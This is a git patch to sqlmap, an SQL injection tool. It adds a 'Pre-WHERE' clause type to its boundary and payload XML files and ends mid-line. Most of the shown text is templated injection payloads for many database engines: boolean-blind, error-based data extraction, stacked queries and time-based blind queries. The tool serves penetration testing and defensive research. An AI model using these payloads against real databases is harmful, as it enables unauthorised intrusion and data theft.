From 38fcc5a35aac4181f3eae0ab922895aa6ed3bf2d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 8 Apr 2016 13:19:42 +0200 Subject: [PATCH] Update for pre-WHERE payloads --- lib/core/settings.py | 2 +- xml/boundaries.xml | 87 +++++++-------- xml/payloads/01_boolean_blind.xml | 7 +- xml/payloads/02_error_based.xml | 72 ++++++------ xml/payloads/04_stacked_queries.xml | 8 +- xml/payloads/05_time_blind.xml | 166 ++++++++++++++-------------- 6 files changed, 171 insertions(+), 171 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index be7a050af..93bb863f4 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from lib.core.revision import getRevisionNumber # sqlmap version (...) -VERSION = "1.0.4.9" +VERSION = "1.0.4.10" REVISION = getRevisionNumber() STABLE = VERSION.count('.') <= 2 VERSION_STRING = "sqlmap/%s#%s" % (VERSION, "stable" if STABLE else "dev") diff --git a/xml/boundaries.xml b/xml/boundaries.xml index 6fe5e7f80..6ca720c17 100644 --- a/xml/boundaries.xml +++ b/xml/boundaries.xml @@ -31,6 +31,7 @@ Tag: 6: TOP 7: Table name 8: Column name + 9: Pre-WHERE (non-query) A comma separated list of these values is also possible. @@ -422,7 +423,7 @@ Formats: 5 - 1 + 9 1,2 2 ') WHERE [RANDNUM]=[RANDNUM] @@ -431,7 +432,7 @@ Formats: 5 - 1 + 9 1,2 2 ") WHERE [RANDNUM]=[RANDNUM] @@ -440,7 +441,7 @@ Formats: 4 - 1 + 9 1,2 1 ) WHERE [RANDNUM]=[RANDNUM] @@ -449,7 +450,7 @@ Formats: 4 - 1 + 9 1,2 2 ' WHERE [RANDNUM]=[RANDNUM] @@ -458,7 +459,7 @@ Formats: 5 - 1 + 9 1,2 4 " WHERE [RANDNUM]=[RANDNUM] @@ -467,12 +468,48 @@ Formats: 4 - 1 + 9 1,2 1 WHERE [RANDNUM]=[RANDNUM] [GENERIC_SQL_COMMENT] + + + 5 + 9 + 1 + 2 + '||(SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM] + )||' + + + + 5 + 9 + 1 + 2 + '||(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM] + )||' + + + + 5 + 9 + 1 + 1 + '+(SELECT [RANDSTR] WHERE [RANDNUM]=[RANDNUM] + )+' + + + + 5 + 9 + 1 + 2 + '+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM] + )+' + @@ -549,44 +586,6 @@ Formats: - - - 5 - 1 - 1 - 2 - '||(SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM] - )||' - - - - 5 - 1 - 1 - 2 - '||(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM] - )||' - - - - 5 - 1 - 1 - 1 - '+(SELECT [RANDSTR] WHERE [RANDNUM]=[RANDNUM] - )+' - - - - 5 - 1 - 1 - 2 - '+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM] - )+' - - - 4 diff --git a/xml/payloads/01_boolean_blind.xml b/xml/payloads/01_boolean_blind.xml index 6c85eb582..fffceb0a9 100644 --- a/xml/payloads/01_boolean_blind.xml +++ b/xml/payloads/01_boolean_blind.xml @@ -53,6 +53,7 @@ Tag: 6: TOP 7: Table name 8: Column name + 9: Pre-WHERE (non-query) A comma separated list of these values is also possible. @@ -159,7 +160,7 @@ Tag: 1 1 1 - 1 + 1,9 1 AND [INFERENCE] @@ -175,7 +176,7 @@ Tag: 1 1 3 - 1 + 1,9 2 OR [INFERENCE] @@ -191,7 +192,7 @@ Tag: 1 3 3 - 1 + 1,9 1 OR NOT [INFERENCE] diff --git a/xml/payloads/02_error_based.xml b/xml/payloads/02_error_based.xml index 7c4b54c5c..42737fbdb 100644 --- a/xml/payloads/02_error_based.xml +++ b/xml/payloads/02_error_based.xml @@ -7,7 +7,7 @@ 2 1 1 - 1,2,3 + 1,2,3,9 1 AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) @@ -31,7 +31,7 @@ 2 1 3 - 1,2,3 + 1,2,3,9 1 OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) @@ -56,7 +56,7 @@ 2 2 1 - 1,2,3 + 1,2,3,9 1 AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) @@ -80,7 +80,7 @@ 2 2 3 - 1,2,3 + 1,2,3,9 1 OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) @@ -105,7 +105,7 @@ 2 3 1 - 1,2,3 + 1,2,3,9 1 AND UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1]) @@ -129,7 +129,7 @@ 2 3 3 - 1,2,3 + 1,2,3,9 1 OR UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1]) @@ -154,7 +154,7 @@ 2 4 1 - 1,2,3 + 1,2,3,9 1 AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)) @@ -174,7 +174,7 @@ 2 4 3 - 1 + 1,9 1 OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)) @@ -194,7 +194,7 @@ 2 4 1 - 1,2,3 + 1,2,3,9 1 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) @@ -219,7 +219,7 @@ 2 4 3 - 1 + 1,9 1 OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) @@ -243,7 +243,7 @@ 2 2 1 - 1,2,3 + 1,2,3,9 1 AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x) @@ -268,7 +268,7 @@ 2 2 3 - 1 + 1,9 1 OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x) @@ -293,7 +293,7 @@ 2 3 3 - 1 + 1,9 2 OR 1 GROUP BY CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2)) HAVING MIN(0) @@ -313,7 +313,7 @@ 2 1 1 - 1 + 1,9 1 AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC) @@ -332,7 +332,7 @@ 2 1 3 - 1 + 1,9 2 OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC) @@ -351,7 +351,7 @@ 2 1 1 - 1 + 1,9 1 AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')) @@ -372,7 +372,7 @@ 2 1 3 - 1 + 1,9 2 OR [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')) @@ -393,7 +393,7 @@ 2 2 1 - 1 + 1,9 1 AND [RANDNUM] IN (('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')) @@ -414,7 +414,7 @@ 2 2 3 - 1 + 1,9 2 OR [RANDNUM] IN (('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')) @@ -435,7 +435,7 @@ 2 1 1 - 1 + 1,9 1 AND [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'),'#','[HASH_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) @@ -454,7 +454,7 @@ 2 1 3 - 1 + 1,9 2 OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) @@ -473,7 +473,7 @@ 2 2 1 - 1 + 1,9 1 AND [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') @@ -493,7 +493,7 @@ 2 2 3 - 1 + 1,9 2 OR [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') @@ -513,7 +513,7 @@ 2 3 1 - 1 + 1,9 1 AND [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],'[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') @@ -532,7 +532,7 @@ 2 3 3 - 1 + 1,9 2 OR [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],'[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') @@ -551,7 +551,7 @@ 2 4 1 - 1 + 1,9 1 AND [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') @@ -570,7 +570,7 @@ 2 4 3 - 1 + 1,9 2 OR [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') @@ -589,7 +589,7 @@ 2 3 1 - 1 + 1,9 1 AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') @@ -608,7 +608,7 @@ 2 3 3 - 1 + 1,9 2 OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') @@ -655,7 +655,7 @@ 2 1 1 - 1,2,3 + 1,2,3,9 3 (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) @@ -679,7 +679,7 @@ 2 3 1 - 1,2,3 + 1,2,3,9 3 (EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))) @@ -703,7 +703,7 @@ 2 4 1 - 1,2,3 + 1,2,3,9 3 (UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1])) @@ -727,7 +727,7 @@ 2 5 1 - 1,2,3 + 1,2,3,9 3 EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)) @@ -747,7 +747,7 @@ 2 5 1 - 1,2,3 + 1,2,3,9 3 (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) @@ -771,7 +771,7 @@ 2 2 1 - 1,2,3 + 1,2,3,9 3 (CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC)) @@ -790,7 +790,7 @@ 2 5 1 - 1,2,3 + 1,2,3,9 3 (CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC)) diff --git a/xml/payloads/04_stacked_queries.xml b/xml/payloads/04_stacked_queries.xml index 45ce87a9f..804b92cc6 100644 --- a/xml/payloads/04_stacked_queries.xml +++ b/xml/payloads/04_stacked_queries.xml @@ -450,7 +450,7 @@ 5 3 2 - 1,2,3 + 1,2,3,9 1 ;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE]) @@ -470,7 +470,7 @@ 5 5 2 - 1,2,3 + 1,2,3,9 1 ;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE]) @@ -571,7 +571,7 @@ 5 4 2 - 1,2,3 + 1,2,3,9 1 ;SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3 @@ -591,7 +591,7 @@ 5 5 2 - 1,2,3 + 1,2,3,9 1 ;SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3 diff --git a/xml/payloads/05_time_blind.xml b/xml/payloads/05_time_blind.xml index e8993f92b..bc8e5a3bd 100644 --- a/xml/payloads/05_time_blind.xml +++ b/xml/payloads/05_time_blind.xml @@ -7,7 +7,7 @@ 5 1 1 - 1,2,3 + 1,2,3,9 1 AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) @@ -27,7 +27,7 @@ 5 1 3 - 1,2,3 + 1,2,3,9 1 OR (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) @@ -47,7 +47,7 @@ 5 3 1 - 1,2,3 + 1,2,3,9 1 AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) @@ -68,7 +68,7 @@ 5 3 3 - 1,2,3 + 1,2,3,9 1 OR (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) @@ -89,7 +89,7 @@ 5 2 1 - 1,2,3 + 1,2,3,9 1 AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) @@ -109,7 +109,7 @@ 5 2 3 - 1,2,3 + 1,2,3,9 1 OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) @@ -129,7 +129,7 @@ 5 4 1 - 1,2,3 + 1,2,3,9 1 AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) @@ -150,7 +150,7 @@ 5 4 3 - 1,2,3 + 1,2,3,9 1 OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) @@ -171,7 +171,7 @@ 5 2 2 - 1,2,3 + 1,2,3,9 1 AND [RANDNUM]=IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]) @@ -191,7 +191,7 @@ 5 2 3 - 1,2,3 + 1,2,3,9 1 OR [RANDNUM]=IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]) @@ -211,7 +211,7 @@ 5 5 2 - 1,2,3 + 1,2,3,9 1 AND [RANDNUM]=IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]) @@ -232,7 +232,7 @@ 5 5 3 - 1,2,3 + 1,2,3,9 1 OR [RANDNUM]=IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]) @@ -253,7 +253,7 @@ 5 2 1 - 1,2,3 + 1,2,3,9 1 RLIKE (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) @@ -273,7 +273,7 @@ 5 4 1 - 1,2,3 + 1,2,3,9 1 RLIKE (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) @@ -294,7 +294,7 @@ 5 5 1 - 1,2,3 + 1,2,3,9 1 RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])) @@ -314,7 +314,7 @@ 5 5 1 - 1,2,3 + 1,2,3,9 1 RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])) @@ -335,7 +335,7 @@ 5 3 1 - 1,2,3 + 1,2,3,9 1 AND ELT([INFERENCE],SLEEP([SLEEPTIME])) @@ -355,7 +355,7 @@ 5 3 3 - 1,2,3 + 1,2,3,9 1 OR ELT([INFERENCE],SLEEP([SLEEPTIME])) @@ -374,7 +374,7 @@ 5 5 1 - 1,2,3 + 1,2,3,9 1 AND ELT([INFERENCE],SLEEP([SLEEPTIME])) @@ -394,7 +394,7 @@ 5 5 3 - 1,2,3 + 1,2,3,9 1 OR ELT([INFERENCE],SLEEP([SLEEPTIME])) @@ -414,7 +414,7 @@ 5 1 1 - 1,2,3 + 1,2,3,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) @@ -434,7 +434,7 @@ 5 1 3 - 1,2,3 + 1,2,3,9 1 OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) @@ -454,7 +454,7 @@ 5 4 1 - 1,2,3 + 1,2,3,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) @@ -475,7 +475,7 @@ 5 4 3 - 1,2,3 + 1,2,3,9 1 OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) @@ -496,7 +496,7 @@ 5 2 2 - 1,2,3 + 1,2,3,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) @@ -515,7 +515,7 @@ 5 2 3 - 1,2,3 + 1,2,3,9 1 OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) @@ -534,7 +534,7 @@ 5 5 2 - 1,2,3 + 1,2,3,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) @@ -554,7 +554,7 @@ 5 5 3 - 1,2,3 + 1,2,3,9 1 OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) @@ -617,7 +617,7 @@ 5 2 2 - 1,2,3 + 1,2,3,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END) @@ -638,7 +638,7 @@ 5 2 3 - 1,2,3 + 1,2,3,9 1 OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END) @@ -659,7 +659,7 @@ 5 5 2 - 1,2,3 + 1,2,3,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END) @@ -681,7 +681,7 @@ 5 5 3 - 1,2,3 + 1,2,3,9 1 OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END) @@ -703,7 +703,7 @@ 5 1 1 - 1,2,3 + 1,2,3,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) @@ -722,7 +722,7 @@ 5 1 3 - 1,2,3 + 1,2,3,9 1 OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) @@ -741,7 +741,7 @@ 5 4 1 - 1,2,3 + 1,2,3,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) @@ -761,7 +761,7 @@ 5 4 3 - 1,2,3 + 1,2,3,9 1 OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) @@ -781,7 +781,7 @@ 5 2 2 - 1,2,3 + 1,2,3,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) @@ -800,7 +800,7 @@ 5 2 3 - 1,2,3 + 1,2,3,9 1 OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) @@ -819,7 +819,7 @@ 5 5 2 - 1,2,3 + 1,2,3,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) @@ -839,7 +839,7 @@ 5 5 3 - 1,2,3 + 1,2,3,9 1 OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) @@ -859,7 +859,7 @@ 5 3 2 - 1,2,3 + 1,2,3,9 1 AND [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE])) @@ -878,7 +878,7 @@ 5 3 3 - 1,2,3 + 1,2,3,9 1 OR [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE])) @@ -897,7 +897,7 @@ 5 5 2 - 1,2,3 + 1,2,3,9 1 AND [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE])) @@ -917,7 +917,7 @@ 5 5 3 - 1,2,3 + 1,2,3,9 1 OR [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE])) @@ -937,7 +937,7 @@ 5 3 2 - 1 + 1,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) @@ -957,7 +957,7 @@ 5 3 3 - 1 + 1,9 1 OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) @@ -977,7 +977,7 @@ 5 5 2 - 1 + 1,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) @@ -998,7 +998,7 @@ 5 5 3 - 1 + 1,9 1 OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) @@ -1019,7 +1019,7 @@ 5 4 2 - 1 + 1,9 1 AND [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) @@ -1039,7 +1039,7 @@ 5 4 3 - 1 + 1,9 1 OR [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) @@ -1059,7 +1059,7 @@ 5 5 2 - 1 + 1,9 1 AND [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) @@ -1080,7 +1080,7 @@ 5 5 3 - 1 + 1,9 1 OR [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) @@ -1101,7 +1101,7 @@ 5 4 2 - 1,2,3 + 1,2,3,9 1 AND [RANDNUM]=(SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3) @@ -1120,7 +1120,7 @@ 5 4 3 - 1,2,3 + 1,2,3,9 1 OR [RANDNUM]=(SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3) @@ -1139,7 +1139,7 @@ 5 5 2 - 1,2,3 + 1,2,3,9 1 AND [RANDNUM]=(SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3) @@ -1159,7 +1159,7 @@ 5 5 3 - 1,2,3 + 1,2,3,9 1 OR [RANDNUM]=(SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3) @@ -1179,7 +1179,7 @@ 5 4 2 - 1,2,3 + 1,2,3,9 1 AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) ELSE '[RANDSTR]' END @@ -1199,7 +1199,7 @@ 5 4 3 - 1,2,3 + 1,2,3,9 1 OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) ELSE '[RANDSTR]' END @@ -1219,7 +1219,7 @@ 5 5 2 - 1,2,3 + 1,2,3,9 1 AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) ELSE '[RANDSTR]' END @@ -1240,7 +1240,7 @@ 5 5 3 - 1,2,3 + 1,2,3,9 1 OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) ELSE '[RANDSTR]' END @@ -1261,7 +1261,7 @@ 5 4 2 - 1,2,3 + 1,2,3,9 1 AND 